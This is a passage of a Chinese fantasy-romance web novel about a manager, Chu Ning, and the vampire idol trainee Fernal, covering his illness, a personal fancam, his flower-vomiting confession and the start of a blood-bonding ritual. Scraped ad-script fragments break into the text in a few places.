楚凝轻言细语地给他解释着,想到他可能害怕打针,提醒他闭上眼睛。但弗纳尔更加不安,无力地反抗着:“不要……本殿下不要打针……”他把自己蜷成一团,手缩进被子里,无论护士怎么劝说都不拿出来。 护士没有办法,转头看着楚凝,那眼神向她求助。楚凝虽然理解少年第一次靠人族的医学而不是魔法来治病的无措感,但为了他的身体着想,也只能拿出威严的气势,故意摆出凛然的面色说: “不打针的话明天你干脆也别去主题曲的彩排了,”她盯着对方,目光凌厉,“你身体这个样子反正去了体育馆也跳不了舞,到时候只会晕倒在现场给工作人员找麻烦,还耽误所有人的拍摄进度。” 弗纳尔听她这么一说,抵抗的态势停了下来。他望了楚凝一会儿,可怜兮兮地问:“那乖乖打针的话,明天就能好起来吗?” “当然,”楚凝宽慰地笑笑,“输完液你明天就又活蹦乱跳了。” 少年犹豫片刻,把手从被子里支出来,默默伸给了护士。 楚凝夸赞道:“世子殿下很勇敢呢。” 弗纳尔瘪瘪嘴,又伸出另一只手,伸到她面前:“牵……牵我。” 楚凝把他的手抓住了。 “别怕,我在呢。” 护士见弗纳尔此时的注意力没放在打针这里,滋溜地把针管插好了,弗纳尔只感受到一秒钟的刺痛,回过神来的时候发现已经输上液了,不禁觉得神奇。护士摸摸他的脑袋,笑着让他好好休息,又给楚凝交代了一些注意事项,然后便离开了。 接下来的几个小时,楚凝一直守在少年床边看着他入睡,同时细心地观察着他的情况。她今天为了少年的感冒忙前忙后,耗费了太多体力,在确认少年睡熟后,最后也靠着床头柜睡了。 第二天凌晨的时候,弗纳尔醒过来,见她把手撑在床头柜上,以一种并不舒服的方式睡得很沉,心头涌起复杂的情感。 “阿凝姐姐……”他小声地念着她的名字,借着探进病房的阳光端详着她的脸颊。楚凝的眉眼在浅金色的光晕里格外柔和,长密的睫毛在眼睑处洒下阴影,微微地颤动,淡色的薄唇抿着,鼻腔溢出清浅的呼吸。 弗纳尔看了半晌,心中冒起袅袅的热气。他小心翼翼地靠近,嘴唇贴近对方的唇角,却在即将触碰的那一刻停住了。 “不行……”少年心想道,“没有经过她的同意不可以这样……”挣扎片刻,他最终放弃,转而轻轻亲了下对方的手腕。 “阿凝姐姐……”少年的烧退了,但脸上却显出羞涩的红润。他趴在床头柜前,看着面前的人,小声地呢喃,“谢谢你照顾我。” 19. 殿下的在意 弗纳尔本来想把自己的床位让出来,把楚凝抱到病床上休息,可他才刚挨着她的肩膀,就见她醒了过来。 楚凝虽然疲累,但大概是因为从前的战争经历所带来的习惯,让她永远对周遭事物保持着一点警觉,睡得没有少年想象中那么深沉。她醒来以后,见少年兀楞楞站在自己面前,似乎有些慌张和无措,心里有点懵。她并没有看穿对方的心思,抬头摸了摸他的额头,见他已经退了烧,便说要把他送回训练基地。 她站起身来,弗纳尔扯住她的袖子,问她要不要多休息一会儿。 “我看你好像很累……”少年默默地说。 楚凝微微地笑了笑,睁着有些惺忪的眼睛问:“所以世子殿下是在关心我吗?” 弗纳尔即刻地反辩:“才没有!” 楚凝却叫他放心。 “我还顶得住。”她看了看表:“现在是早上六点,你们九点钟出发去市体育馆彩排,还有三个小时的时间。我先把你送回寝室,你好好休整一下,我下午过来看你的正式表演。” 这次的主题曲舞台由节目组进行录制和转播,现场并不邀请观众来观看,但有经纪人的练习生们是允许带经纪人入场观看的。 弗纳尔忙问:“那你不来看我彩排吗?” 楚凝挑了挑眉,戏笑道:“你刚刚不还心疼我没有休息?现在怎么又叫我来看你彩排?你很希望我来看你的彩排吗?” 弗纳尔脸一红,摇头说:“我不是我才没有……” 楚凝不逗他了,告诉他自己上午有别的事情要做,少年问他什么事情,她却狡黠地说保密。 弗纳尔不再问了,他也打算在集合去体育馆之前多练习一会儿主题曲的舞蹈。尽管F级的选手在主题曲的MV里没有镜头,可他也想把自己最好的一面展现出来。要对得起观众的信任和培养,要对得起经纪人的付出和关心——这是他那颗任性的心里逐渐萌芽的信念。 弗纳尔回到寝室后快速地整理好自己的着装和情绪,抓紧时间到练习室去。原以为另外三个成员都还没起床,却没想到他们竟然也早就到了练习室。 “哇没想到你们几个家伙居然这么卷,”他加入到练习里,忿忿吐槽,“原来之前的躺平都是假象!” “这次主题曲的演绎那么重要,我们怎么可能在宿舍睡大觉啊。”萱草默默地回答,又暗戳戳地问起昨天他生病后经纪人照顾他的情况。弗纳尔知道对方很在意楚凝,心里不是滋味,卖着关子说:“她对我可好了。” 萱草酸溜溜地问:“有多好?” 弗纳尔劲劲地答:“我不告诉你。”他冲他做个鬼脸,然后接着此刻音响里放出的乐段练习起来。 萱草咬咬嘴唇,也不理他了。 萤火并没有关注这两个人之间暗暗的火光,带着加尼亚训练。 在彩排之前,第二次评级得A的练习生们会在体育馆的舞台上决出主题曲的Center,而Center在以后第一次公演的选曲和舞台PK的选人上都有绝对的优势,并且楚凝之前对前几季节目的出道成员做过分析,告诉他首C会因为有效镜头数量和质量的绝对优势而大概率进入出道圈,因此他不敢有丝毫的怠慢。 加尼亚虽然没有资格争夺C位,也对人气和名次没有像他一样的执念,但也知道择善而从、多练多进的道理,反正跟着萤火学习是不会错的,所以便默默地按照他的标准来训练。 “萤火,我们宿舍的练习生们说这次Center的争夺你和C社的那只狐狸是最有看头的,”他边练边问对方,“你怎么想?” “他的确是我的劲敌,”萤火说,“他在声乐、舞蹈和说唱上的能力都很均衡,导师们对他的评价也很高。不过我也不怕……”他看着镜中的自己,微微勾起了唇角,那双紫色的瞳眸漫着有点病态的光,“他越强,我越兴奋……” 加尼亚:“……。” 他无言以对,冲魅魔默默竖了个大拇指。 弗纳尔听他这么说,把狼人拉到身边,在他耳边小声蛐蛐:“你别问了,这叫西方狐狸精大战东方狐狸精……” “我可不是狐狸,”萤火听见了吸血鬼少年的话,纠正道,“我是山羊。”他那张柔媚的脸上显出一分暗涌的野心,“狐狸的尾巴向下,山羊的羊角朝上。” “是是是,”弗纳尔打趣道,“你最厉害啦。”他也冲魅魔竖一大拇指,又对一边的狼人接着吐槽:“等他跟我一样感个冒就老实了。” 加尼亚抿抿嘴巴,正要说话,自己的手机却响了起来。 弗纳尔本来不在意他的电话,但在瞄过来电人的时候突然不淡定了。来电的人是楚凝。 加尼亚接了电话,弗纳尔表面做着毫无意义的拉伸动作,实则竖着耳朵,全神贯注地偷听。窸窸窣窣的声音从电话那头传来,可都是些分辨不清的碎语。 “要我过来?现在吗……”狼人的脸上现出一点奇疑,过了一会儿后又点了点头,似乎应答了什么事情。他挂掉电话就往练习室外走。 弗纳尔本来想问他楚凝说了什么,可却不想在队友面前展露出自己的在意,于是强忍着没说话。萱草喊住加尼亚,问他电话那头发生的事,可狼人本身也不太清楚,只说是楚凝要他现在先去体育馆,拜托他帮一个忙。他说完以后便匆匆地离开了。 他离开后不久,弗纳尔因为那个电话胡思半天,最终还是按捺不住心中的好奇,找借口暂停了训练,偷偷地跟了过去。 “奇怪,那个女人不是说上午有其它的事要做么为什么会把那只狼喊到体育馆,还单独只喊他一个人……” 他一边鬼鬼祟祟地跟随着,一边碎碎念,“难道她跟那只狼的关系比跟我熟吗,有什么忙是只叫他去帮才可以的……莫非他们两个是在借相互帮忙的名义悄悄地约会?” 少年被自己的想法震惊,赶紧自动地打住,头摇出浪来:“不可能不可能绝对不可能……”一路上,他不断地猜测,不断地否定着心里的杂念,等跟到体育馆的时候,借着掩体远远地看见了楚凝在给加尼亚打招呼。 楚凝的手里抱着一个有她半个人高的长方形大箱子,狼人走了过去,帮她接过箱子扛在肩上。 楚凝凑近他问了句什么,对方不太好意思地点点头,笑得腼腆。两个人不一会儿就说说笑 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 笑地走进了体育馆。 弗纳尔望着箱子,想起楚凝送给萱草的竖琴,不免猜测那是她送给狼人的礼物,内心又羡嫉起来。 等到了馆内,他看见加尼亚和楚凝拆开箱子,从里头小心地拿出一架摄像机来。 弗纳尔想起之前狼人的档案资料填过摄影这项爱好,不免更加确定那是楚凝送的礼物。他心里酸酸地冒泡,又见此时两个人围着摄像机亲密地讨论,更没眼再看下去,于是生气地走掉了。 他刚回训练基地不久就接到了节目组的集合通知,基地里所有的练习生们都乘坐节目组的专用车去体育馆。 今天节目组会进行三个重要内容的拍摄,第一是主题曲C位的对决选拔,第二是练习生们的舞台彩排,第三则是下午正式的主题曲舞台演绎。 在C位的争夺里,萤火惜败给了C社的白狐,但意外的是两个人都没有拿到Center,只是在练习生投票的赛制里分别拿了第二与第三的票数。拿第一的是位在之前的比赛中表现并没有那么突出,风头也不劲盛的练习生,他凭借着自己出色的即兴创作能力赢得了大家的认可。 对决之后,节目组特意请来了几位参加过往期选秀的前辈来给练习生们做应援,同时设置了一些可以放松心情的趣味游戏,大家都乐在其中,只有心事重重的弗纳尔没有办法集中注意力,在小游戏的进行里也失去了以往的熊熊斗志和胜负欲,看上去像个不问世事的贤者。 坐在他旁边的羽因注意到了这点,背着镜头问他是不是感冒还没有好,身体不舒服。 “没有,”弗纳尔悻悻地回,“我很好,特别好。” 羽因盯着他看了一会儿,默默思考着什么,然后没有再问,先不打扰他了。 游戏的环节结束后,练习生们被安排前往造型室做妆造,平日里爱出风头的世子殿下现在被造型师成吨夸奖也笑不出来,显露出一分诡异的淡漠。 做完妆造后,练习生们站上节目组为他们特别搭建的舞台进行彩排。舞台是由节目组精心设计而成的,呈现阶梯式的变化,等级越靠前的练习生会被分配到越中间且越高的台阶,C位会独享专属于他的单人阶位,站在舞台的正中心,享受最集中的镜头。 彩排过后,大家又回到造型室做补妆和调整,然后吃了节目组提供的便餐,开始为下午的正式表演做着尽可能充足无误的准备。 位于D级台阶的一旁,还有一块边缘化的位置是留给等级最低的F生的,这块地方没有架摄像头,是连舞台前端的滑轨摄像也很难扫到的位置。得了F的练习生们彩排完后,对这个位置多有唏嘘,都去了别的地方,不愿意停在这儿,只有弗纳尔仍然站在上面,像一块平面的阴影上竖着的一条立体的阴影,两方都很黯淡。 “站在这里的话,她还看得见我吗……”少年盯着舞台空着的观众席,默默地嘀咕,“还是说她其实……本来也没那么喜欢关注我的表现……” 正在胡思乱想的时候,耳边传来一阵讥笑。弗纳尔一回头,见C社的一个成员站在他身后,脸上写满了嘲讽。 是臭老虎。 弗纳尔心情更糟糕了。 20. 一公舞台的准备 “喂,小殿下,站在角落彩排里的滋味怎么样?”虎妖讥讽着说,“怎么脸色这么难看,该不会自己已经偷偷在哪里哭过鼻子了吧?” 弗纳尔瞪着他,忿忿地说:“不要你管,你走开你这个烦人精。” 老虎扬了扬唇角,轻蔑道:“那我不打扰你了,我也懒得跟废物多话,你们Z社的练习生实在是太废了,有你这个舞台不给镜头的F生拖后腿不说,那只魅魔也没有我们队长强,真是太逊了。” 弗纳尔咬牙道:“你这个混蛋你要是回了银星我一定让父亲大人把你捉了做成老虎干……” 虎妖不以为意地瘪瘪嘴,嬉笑道:“可惜了,但这是蓝星。”他正要再说话,却听见身后传来一道熟悉的声音—— “那你要不要再尝尝我的拳脚?” 虎妖回头一看,发现来的是楚凝,面色猛地一变,“靠,你经纪人怎么这么早就来了……”他想起之前在训练基地门口被过肩摔支配的恐惧,不由得咽了咽喉咙,神色紧绷起来。 今天的楚凝没穿职业的装束,白色的卫衣加一条深蓝的牛仔裤,看起来像邻家大姐姐,但在看向虎妖的时候,眼里流露出的警示依然令他忌惮。她手上戴着黑色的胶套,虽然不知道有什么用处,但配上刚才说话的语气仿佛真就跟马上要揍人的帮派老大一样,唇边的微笑也叫人不寒而栗。 “你们C社的成员好像都在造型室的门口聊天呢,你一个人到这里来不合适吧,”楚凝拿手比划出一个“走路”的手势,默默问,“你看你是自己过去集合,还是我一脚送你过去?” 老虎怔了片刻,向她和弗纳尔嗤了一声,匆匆地走了。 楚凝见他离开,转过身走到弗纳尔面前,叫他不要在意对方的那些话。 “刚刚羽因给我发消息说你情绪不太好,所以我就提前一点过来了,”她拍拍他的肩膀,给他打气,“你不要灰心,这只是暂时的等级,等到下一次演出,你一定可以大放光彩。” 弗纳尔看着面前的人,心里闪过太多想说的想问的话,纠结成一团难理的乱麻。他生气却不知道在气什么,开心也不知道在开心什么,有一点难过,又有一点欣喜;有许多感激,又有许多埋怨;有一点失落,又同时有一些期待……万千的思绪最后都融作了一句怯怯的嗫嚅: “等会儿正式表演的时候,你……你会看我的对吗?” 他的眼神里流露着不安,时间的流逝藏进心脏的跳动里。 回答他的是一个郑重的点头。 “当然,”楚凝笑着说,“这场表演,我会只看着你的。” 弗纳尔沮丧的心情就这么很快很快地飞走了——原来只需要她的一句话。 尽管在看完楚凝拿到的席位号以后,少年发现对方的座位离他的站位很远,视线也会被前面几个等级的练习生们挡得七七八八,但他依然很满足。 “因为她这么说过了,好像这就足够了。”他这么想着,打起精神准备正式的表演。 但少年并没有想到,对方不仅这么说了,而且也这么做了;不仅这么做了,还做到了他难以想象的程度。 拍摄结束的时候,楚凝找到他,递给他一个小小的绒袋。他打开绒袋,发现里面装着一张摄像机的内存卡。 “因为按照规定,官方没有办法给你镜头,所以我买了一台商用摄像机拜托加尼亚帮忙调试,只用来拍你表演的画面,”楚凝看着惊诧至极的少年,指了指他手中的内存卡,温柔道: “这是专属于你的,第一支个人直拍喔。” 弗纳尔望着手里那张小小的薄片,眼神闪烁着,什么话都说不出来。 楚凝叮嘱他收好内存卡,又说这支直拍会同时上传到他的社交账号上,帮助他尽可能地积累人气。她交代完这些,提醒少年回宿舍好好休息,又说自己要去找节目组的工作人员沟通事务,转身离开了。 等她走远,弗纳尔才回过神来,想要喊她,喉咙却突然一痒。他打一喷嚏,觉得有什东西吐在了掌心,摊掌一看,瞳孔猛地一缩。 他吐出了一片玫瑰花瓣。 …… 主题曲的测评结束后,节目组公示了第二次最新的选手人气数据,其中萱草和加尼亚的排名维持在出道圈内没有太大的变化,而萤火因为近期的努力和过硬实力赢得了制作人们的支持,排名从之前的第二十一名上升了十名,暂时卡在了出道线的位置。他的名次还呈现着不断上涨的趋势。 而弗纳尔虽然没有享受到MV里官方镜头的福利,但因为楚凝单独的拍摄也获得了不少关注,排名从之前的第二十二名进步到第十七名——而且据不少网友反馈,因为楚凝的那台设备过于高清,使得某些没有全程追节目的网友竟误以为弗纳尔的那支直拍也是官方的拍摄,还差一点引起其他选手的粉丝对官网不公的质疑。 当然直拍里面世子殿下的超清美貌也实在是能够秒杀观众的程度。 四位成员排名的靠前与上升对楚凝来说是可喜可贺的事情,也没有超乎她心里的预料。她本来应该觉得爽快,但现在却有些苦恼。 她发现近期弗纳尔的状态有些奇怪。 对方自从上次她送完内存卡以后似乎就跟她刻意地疏远起来,手机上不和她交流沟通,在练习室一看见她就走,去食堂吃饭看见她也会坐得老远。 楚凝怀疑自己是不是又有哪里惹得他不痛快,但冥思苦想了半天也没想出个所以然来。 莫非吸血鬼每个月也总有几天会心情不好情绪失控吗? 她想了想,自我否定地摇头。这也太扯淡了。 这天早上节目组在演播大厅公布了练习生第一次公演舞台的对决赛制,这次舞台对练习生们的首次晋级和淘汰影响极大,选手们和经纪人们对此也都高度地重视。 当天的拍摄结束后,楚凝把四个人召集到练习室,准备给他们传授一些小组对抗的经验。 “正如你们白天在演播大厅听到的一样,一公的舞台属于同歌曲AB组对抗的赛制,但很幸运的是,你们四个人在后面选人和被选的环节中归属到了不同的曲目里,所以你们四人之 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 间不存在同曲的竞争关系,彼此之间也没有“非此即彼”的票数干扰。” “当然,无论分组的结果如何,我们现在要做的,都是全力以赴,不遗余力地为自己的小组,为自己而训练,我们要争取在一公的对决里为小组和自己拿到更高的票数……弗纳尔,你怎么站那么后面?” 楚凝看着一改之前雄赳赳气扬扬站前头的态势的少年,心里打了一百八十个问号:“你站在角落里头听得清楚吗?站到我面前来。” “不,不用……”少年摇了摇头,面上显出一片为难,“听得清楚……”他面色潮红,甚至不敢正眼看楚凝。 楚凝纳了闷了,朝他走过去。对方却跟感应到危险似的,步步往后面退,直到楚凝快走到他面前,他忽然捂着嘴巴咳嗽几声,难为情地喊了句“抱歉”,然后夺门奔出了练习室——伴随着一声疑似呕吐的声音。 楚凝站在练习室,和另外三名人外面面相觑了一会儿,然后抬手指着自己,怀疑般地问:“他刚刚,是看着我吐了吗……” 其他三人又面面相觑一会儿,纷纷摇头,都有点懵。 楚凝忽然地郁闷了。 从练习室回宿舍的路上,楚凝接到了小天使羽因的电话。对方告诉她弗纳尔似乎胃不舒服。 “不知道为什么,他这几天总是咳嗽,还总是想吐,而且他不让我提你的名字,不让我说跟你有关的话题……阿凝姐姐,你们是不是吵架啦?” 楚凝否认了小天使的疑惑,默默地分析:“或许是胃炎什么的导致他心情变差了……我一会儿买点胃药给拿到你们宿舍楼这边,到时候就拜托你帮我拿给弗纳尔了。” 那头答应了下来,楚凝挂了电话,去基地门口的药房买了一些胃药,往弗纳尔的宿舍楼走。 快到宿舍楼的时候,她正准备联系羽因,却看见弗纳尔从宿舍楼走了出来,神情有些慌张。 楚凝默默地跟了上去。 此时已经是晚上,楚凝见少年一个人朝湿地公园走,心里既疑惑又担心。 “他去公园干什么?之前不是给他说过那里很危险吗?他该不会是大晚上的去探险玩吧……不对,应该不至于这么幼稚……” 楚凝怀着满腔的疑问跟在后头,见少年走到了公园的警示牌前,而后没有犹豫地跨过了界线,往公园的深处走去。 里头已经没有道路了,到处都是长着野生灌木的草坪,弗纳尔走得有些艰难,却依然往公园的中心走去——他似乎特意寻找着最为寂静的密地。 楚凝不愿他再往前走,正要喊他,却见少年忽然在一棵古树前跪了下来。他的胸前挂着一枚徽章,他握着它,双手合十地念出一串咒语。 不一会儿,半空中浮现出一个朦胧的幻影,渐渐化作一位蝠翼黑纱的魔女模样。她始终闭着双眼,好像并未被少年唤醒,却又好像从未沉睡。 “莉莉丝大人,”弗纳尔握紧徽章,虔诚道,“求您为您的孩子指点迷津吧。”他闭着双眼,泪如雨下: “我喜欢上了一个人类。” 21. 一公结束(第一部完) 静谧的黑夜里,血族的始祖在幽寂的林间现出幻影,倾听着后嗣难解的心事。 “我……我得了花吐症,我不可以再接近她了,”弗纳尔伤心地说,“她不会明白的,她不明白我的心思,她对每个人都那么好,她不独属于我,我讨厌这样……我想让她只和我在一块儿,只对我笑,只对我一个人好……我知道这不可能的,可我没有办法克制住自己的念头,我甚至……甚至想把她拐回我的城堡,叫她永远永远都不和我分开……” “莉莉丝大人,我该怎么办,我到底该怎么办呢……” 始祖的幻影无言。片刻后,半空中浮现出一行血族独有的文字。 “完成……初拥?”弗纳尔默默地念着,面上闪过惊骇。 初拥是吸血鬼通过血液的交换将非血族变为血族成员的仪式,一旦经历了这样的仪式,被初拥的一方既会继承血族的特质获得永生,但也将和赐予者的灵魂紧紧捆绑,无法背叛,也无法逃离。 “不可以,我怎么可以把阿凝姐姐变成吸血鬼?她、她不会愿意的。”弗纳尔拒绝了始祖的暗示,默默道,“这样她会讨厌我的,她一定会讨厌我的……我不要这样……”他哭的更厉害了。 幻影发散着幽光,不一会儿又浮现出新的文字。 「伊丽莎白氏的明珠,不用为任何人流泪。」 「‘拥有’是最直观的胜利。」 徽章的法力耗尽了,幻影也至此消失。 “拥有……拥有……”弗纳尔反复地呢喃着最后的密语,心间涌起一股自私却自洽的情感,“对……莉莉丝大人说得对……” “我是伊丽莎白家的孩子,我值得任何人的爱,如果、如果有人不爱我,那么我不应该在这里哭泣,我应该惩罚她,直到……直到她爱我为止。” 弗纳尔这样想着,唇边浮起一点空空落落的笑意:“要把她变成专属于我的血族……” 哐当—— 不远处传来物品掉落的声音,弗纳尔猛一回头,撞上了楚凝惊诧的目光。 地上滚落着各种药瓶。 楚凝和少年对视片刻,张皇道:“打、打扰了。”她转过身,走得飞快。 “阿、阿凝姐姐!等等!”弗纳尔回过神来,把刚才的想法嗖地丢到脑后,快步追了过去。 公园的湿地泥泞不平,两个人都跑不太动,一前一后地比赛竞走。 “见了鬼了见了鬼了,”楚凝一边拨开挡道的草叶,一边碎碎念,“我对你这么好你居然想把我变成吸血鬼……” “不是这样的,”弗纳尔跟在后头,着急地解释,“我只是、只是很想和你在一起……”稍微追近一些,他便开始咳嗽起来。 “你这个小吸血鬼太坏了,”楚凝心塞地摇头,“不能再相信你了,我以后得离你远一点……”她虽然生气,但听见少年越来越急的咳嗽声,却又不自觉地想回头看看他的情况。但这个想法很快被她的理智斩断了,她加快了步伐。 “不要,我不准你远离我,”弗纳尔一面咳一面喊,“你不准再走了,你停下来,停下来……” “我不要,停下来等着被你吸血吗……”楚凝嘴上这么说着,但听见他越咳越厉害,那股子生气的劲头竟开始散了。 她劝自己再理智一些,即便有什么话要问少年也等先出了公园再说。她想着到时候少年也不敢在有人烟的地方轻举妄动,那时再和他谈最适合不过,因此一鼓作气,迈步如生风一样。 但楚凝还是高估了自己的狠心程度。眼见着要走出公园,背后传来了少年“哎哟”的一声痛呼。 楚凝回头去看,发现对方整个人摔倒在泥地上,想也不想地就倒跑回去了。 “喂弗纳尔你没事吧?”她把少年扶起来坐着。 对方摔得不轻,左边的膝盖破一大块皮,汩汩鲜血正往外冒。楚凝见状,顾不得许多,把自己牛仔裤上用来装饰的腰带抽出来给他包扎,等包扎完后,和他一对眼,突然意识到有什么不对劲的地方。 她心里一咯噔,反应到自己这是主动送死来了。蓝星的封印无法阻止吸血鬼初拥仪式的吸血。 楚凝半揽着弗纳尔,又盯了他一会儿,抬手抹了抹沾在他脸上的泥渍,然后略显悲壮地闭上眼睛。 “来吧,”她叹气道,“你咬吧,往我脖子这儿咬。” 可对方却没动静。 楚凝闭了半天眼睛,听见了一阵小声的啜泣。她一睁眼,就被少年撞了个满怀。 “好过分……”弗纳尔在她怀里颤巍巍地哭起来,“你好过分……总是这个样子,你这个大混蛋,我刚刚追着你吐了一路的花瓣你都感觉不到吗……” 楚凝顺着他的话往他背后望去,银白的月光下,深红的玫瑰花瓣落了一路。 “弗、弗纳尔……”楚凝无措地问,“刚刚你不是说要把我变成你的同类吗……” “我当然想啊,”少年抽泣得更厉害了,“可是我做不到又有什么办法……我喜欢你、喜欢你、喜欢你……虽然莉莉丝大人说得没错,可她还是理解不了我的心情,我的高贵和骄傲在你面前全部都没有用……她不明白你要是不快乐,我也就不会快乐了……你好可恶,我好讨厌你……” 少年将自己的心事倾倒出来,恋慕的苦涩随溪流似的月光蔓延。 楚凝沉默了半晌,默默地抱紧了他。她终究意识到对方已经成为自己心中的一个无法割舍的存在。 “弗纳尔,”她轻声地问他,“如果不完成初拥,你的花吐症是不是永远都不会好了?” 弗纳尔把脸靠在她肩头,无助地点了点头:“患上花吐症的人如果得不到喜欢的人真心的回应,就会从口中一直吐出花瓣,最后痛苦地死去。我是血族的成员,虽然不会死,但如果不完成初拥,这个症状就永远都不会消失。” “那么我们就完成初拥吧,”楚凝说,“我不想你一直这么病下去。” 弗纳尔听她这么说,抬起头来,惊诧地看着她,向她做着不可置信的确认。 楚凝却温柔地笑笑:“那不然还能怎么办呢,我不想你这么难受啊。”她见对方满脸的泪痕,伸手给他揩拭。 “你……你不害怕?” “这有什么好怕的,”楚凝故作轻描淡写地说,“做吸血鬼不是还能拿不死buff嘛。” “那你刚才跑什么?” “我那是一时生气,没想到你居然有这么自私的想法。” “我、我……”弗纳尔的脸烧烫起来,仿佛为自己刚才在始祖面前说的话而羞耻,他又把脸埋在了楚凝的肩头,嗡嗡地说,“反正……那,那我就当你同意了,你可不能反悔。”他喃喃道:“你是我的,是我一个人的……” “好,我不反悔。”楚凝把下巴抵在对方的脑袋上,过了一会儿,又默默地开口: “不过你可能需要知道一件事情。”她说: “那就是就算完成初拥,治好了你的花吐症,我可能也不会变成血族,也不会受到来自你灵魂上的制约。” 弗纳尔一听,惊错地说:“怎么可能?不可能的!” “初拥之后,血液相融,灵魂缔固,从来都是这样……你,你一定是在骗我,”他盯着楚凝,羞愤道,“你是不是现在就已经反悔了?” “你不相信会有这种情况对不对?”楚凝却说,“那好,弗纳尔,我们打个赌怎么样?” “第一次公演舞台结束后,节目组会给练习生们两天的休假,那时我们就回银星完成初拥的仪式。” “仪式过后,如果我变成了血族,那么如你所愿,我会为你奉献一生;但如果我没有变成血族,那么你以后就要听我的话,也不可以再觊觎我的自由。” “好,我答应你,”弗纳尔很快地答应下来,脸上显出一点可爱的胜负欲,“我会赢的,我会赢的!”他激动得站了起来。 楚凝没再说话,看了一眼他受伤的膝盖,把他打横抱了起来。“走,带你去药房。” 弗纳尔还想说什么,被她突然地一抱,本能地搂紧了她的脖子,想说的话也断掉了。 …… 接下来的几天,练习生们努力地准备着一公舞台的彩排,训练进入了比主题曲表演更高的强度。由于这次舞台之后将会进行第一轮的淘汰,所以大家都紧绷着心情,一刻也不敢怠慢。 楚凝虽然跟弗纳尔做好了初拥的约定,但因为这几天少年吐花的症状仍然存在,所以她没有办法亲自监督对方的训练,只能拜托羽彩多抓一下他的声乐,又拜托萤火在训练课后再多关照一下他的舞蹈。 “他最近的舞蹈进步得很快。”萤火说,“特别是killingpart(高光、绝杀部分),导师夸他是他们组里做的最好的一个。” “喔?”楚凝稀奇道,“是动作做得最标准吗?” 萤火摇了摇头,笑着说:“是动作做得最有感觉。”他说完,对着楚凝复刻了一次。 弗纳尔那组的选曲是一支节奏强烈、风格兼具硬朗与性感的男团刀群舞,曲名叫《狙心》,这首曲子的高光部分呈现在副歌结束后成员一齐抬手做出持枪的手势,然后由中心位的人开枪做定格的画面。 “Sniperyourheart。” 萤火低吟出定格的台词,而后收了手势枪。“这就是弗纳尔的定格部分。”他意味深长地望着楚凝,笑着说: “老师说,只有他真正把镜头当作了恋人。” 楚凝怔了怔,避开了他探究的视线,脸颊染上一点绯红。 萤火看了她一会儿,忍不住地问:“所以他的花吐症你会负责解决吗?” “嗯,我会的。”楚凝不自在地点点头,片刻后又好奇道,“你怎么知道弗纳尔 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 得了花吐症?他自己告诉你的?” 萤火无奈道:“没有,他并没有告诉我。只是我前天在练习室里捡到了一片花瓣……老实说,关于初拥的事我觉得你们还是别告诉任何人的好。”他沉默了一会儿,又若有所思地说,“尤其别让萱草知道。” 楚凝不太理解:“为什么?” 萤火乜她一眼,笑着摇头: “经纪人姐姐,您还真是个撩人无形还不自知的芳心强盗啊……” “你难道一点都没有感觉到,那只兔子对你的感情和弗纳尔对你的感情很接近吗……”他说完这话便离开了练习室,只留下楚凝在原地呆呆地站着。 过了很久,练习室回荡起一声长叹。 …… 一公的表演也是在之前的体育馆进行的,但和主题曲的表演不同,这次的比赛有现场的观众观看并进行线下的实时投票。 经过近一整天的激烈角逐,四个人外里有三个所归属的组别都取得了胜利,而唯一惜败的加尼亚的组在所有组别里总人气也不算低,因此对加尼亚的个人票数影响不大。 四名成员最终都晋级了,萱草和加尼亚的名次在第五与第九,萤火上升到第十名,弗纳尔则处在第十六名的中上位。 比赛之后,练习生们迎来了第一轮残酷的淘汰,先前的101个位置如今只剩下60个,成功晋级的人喜不自胜,斗志昂扬;遗憾离开的人泪洒当场,展望远方。人生总是这样,无论身在何地,身往何处,只要迈步,便是前进。 「尊敬的国民制作人们,您好。 感谢您一路以来的支持,一路以来的鼓励,一路以来的陪伴。 今后,也请再多多地关注我们,支持我们,陪伴我们,做我们前进的力量与勇气,我们会继续带着您的珍视、喜爱与期盼,在成为偶像的道路上披荆斩棘,一往无前,永不言弃! “天星101企划”全体练习生向您致敬!」 ——练习生致辞。 …… 城堡的地下室内,满壁的烛火照亮了一路的幽暗。 身着贵族服饰的少年一步一步向密室的深处走去,来到了最后的尽头。尽头处的浴缸里躺着一个女子,穿着洁白的纱衣,静静地沉睡着,浴缸里放满了冰块。 “阿凝姐姐……”少年来到她的身边,牵起她的一只手,用脸颊轻蹭着她的手背。他的眼底闪动着别样的迷恋。 “过了今夜,你就会成为伊丽莎白家族的人了,会成为我弗纳尔一生的侣伴……” 解除了封印的少年体内涌动着强大的魔力,于手中凝聚出一把血红的短刀,在楚凝的手腕处划出一个十字。 鲜血从伤口里流出,少年露出冰冷的獠牙,刺进伤口,吸食着心仪之人的血液。在这之后,他会把自己的血液注入对方的身体,完成血液的交融。 可他并没有想到,在仪式进行的过程中,楚凝会苏醒过来。 “抱歉弗纳尔,”楚凝无奈地说,“我本来想装睡的,可是你的牙齿实在咬得我太痛了……” 弗纳尔的脸上显出莫大的惊骇。 非血族被催眠后在初拥的中途醒来,这是绝不可能发生的事情,尤其还是在被身份尊贵,血统纯正的王室成员催眠的前提下。 “怎么会这样?你、你现在不应该还有意识的……”他不敢置信地瞪着对方,同时大脑竟不自觉地晕乎起来,“怎么可能,我居然会头晕……难道是仪式的步骤出现了问题……还是说我的封印没有被完全地解除……不、这不可能……”他虚弱地栽倒在浴缸前,扶着浴缸的壁沿,不断地呢喃。 楚凝见他血吸得差不多了,反过来掌握了主动权,用冰块的棱锥往他的手腕割出一道小口,反吸他的血液。更奇怪的是,在血液被抽走的过程里,弗纳尔的身体并没有继续虚弱下去,反而逐渐恢复到之前的状态,意识也逐渐地清明起来。 “阿凝姐姐……”弗纳尔默默地问,“我们的血,是相互排斥的对吗?” “这不是排斥,”楚凝说,“弗纳尔,我们的血在刚才已经完成了交融,但很可惜,就像我之前说的那样,我可能没有办法成为血族。” “为、为什么……”少年盯着对方,眼中满含着不甘与不解,但同时,他瞧见对方的肩头隐约地现出一点光亮。 “我想可能是因为这个东西。”楚凝见他察觉到了自己肩膀处的异样,慢慢地转过身,背对着他把自己一半的纱衣往下拽去。 